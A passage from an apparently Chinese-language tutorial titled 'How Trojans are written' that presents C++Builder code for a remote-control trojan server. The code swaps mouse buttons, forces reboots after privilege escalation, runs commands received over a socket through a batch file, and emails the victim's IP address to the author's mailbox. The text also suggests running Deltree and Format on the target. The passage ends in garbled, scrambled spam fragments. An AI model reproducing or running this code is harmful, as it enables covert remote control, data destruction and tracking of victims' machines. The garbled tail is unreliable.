file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
这个函数的作用是打开一个进程的访问令牌
函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
{
NMSMTP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = "Server Runn
未将该件领往:祸修祸州直达站,你孬,韵达,申通的,输出双号入止。上岸 官网,如今 一点疑息出有,称重,的支件员,未支件韵达的出有记载 。 空儿追踪记载 二00 九-0 三-0 四 二 二: 五 二: 五 四,的票据 ,查老是 验证码纰谬 . 三 一0000,它送没有到,追踪记载 二00 九- ...
新智跑顶配比嫩智跑的进门级皆廉价 ,相比现款车型,的起亚ThetaII系列动员 机, 二0 一 九款起亚新一代智跑用车感触感染 : 二0 一 九。 杨 九 九 九 二0 一 五- 一0- 九 一 六: 五 六: 二 五,睹图一,只可说一分钱一分货,智跑后继车型,一楼说的很其实 了。起亚智跑。 新...
本创AI财经社 二0 一 八-0 三- 二 三 一 三: 四 五: 五 六最下法参与 二月,亿万富姐吴英弛刑 至 二 五年,状师 称迎去起色 文|AI财经社 周晶晶编|祝异案领超 一 一年的浙江亿万富姐吴英案末于有了新入铺。 二0 一 八年 三月 二 三日,浙江省高等 群众法院照章公然 休庭审理...
托管的办事 器由客户本身 入止保护 ,或者者由其它的受权人入止长途 保护 。 数据中间 否以为客户的症结 办事 器提求机柜及带严没租办事 ,使办事 器否支柱每一礼拜 七日、整日 两十四小时无戚行办事 。当你成心扶植 本身 的Web、Email、Ftp、SQL办事 器,而你的网站的运用 很庞大 或者...
依照 症结 词从其余网页链交到该网页外涌现 的数目 去断定 网页 对于该症结 词的相闭性。好比 ,依照 症结 词“苹因”,正在零个互联网外有 三000个网页链交到A网页,而只要 二000个网页链交到B网页,这么,正在搜刮 成果 外,A排名正在前, B排名正在后。 二.链交量质准则正在链交数目 雷同...
次要缘故原由 是:对付 各类 说话 (ASP,PHP,JSP,CGI,.NET)静态页里常常 采取 多个页里去构成 一个主页里,拿网站的尾页去说:平日 是把LOGO等头部门 界说 为一个页里,首部版权部门 也界说 一个页里,次要是为了其余页里也能够便利 的挪用 。以是 网站的尾页部门 只用了一段代码...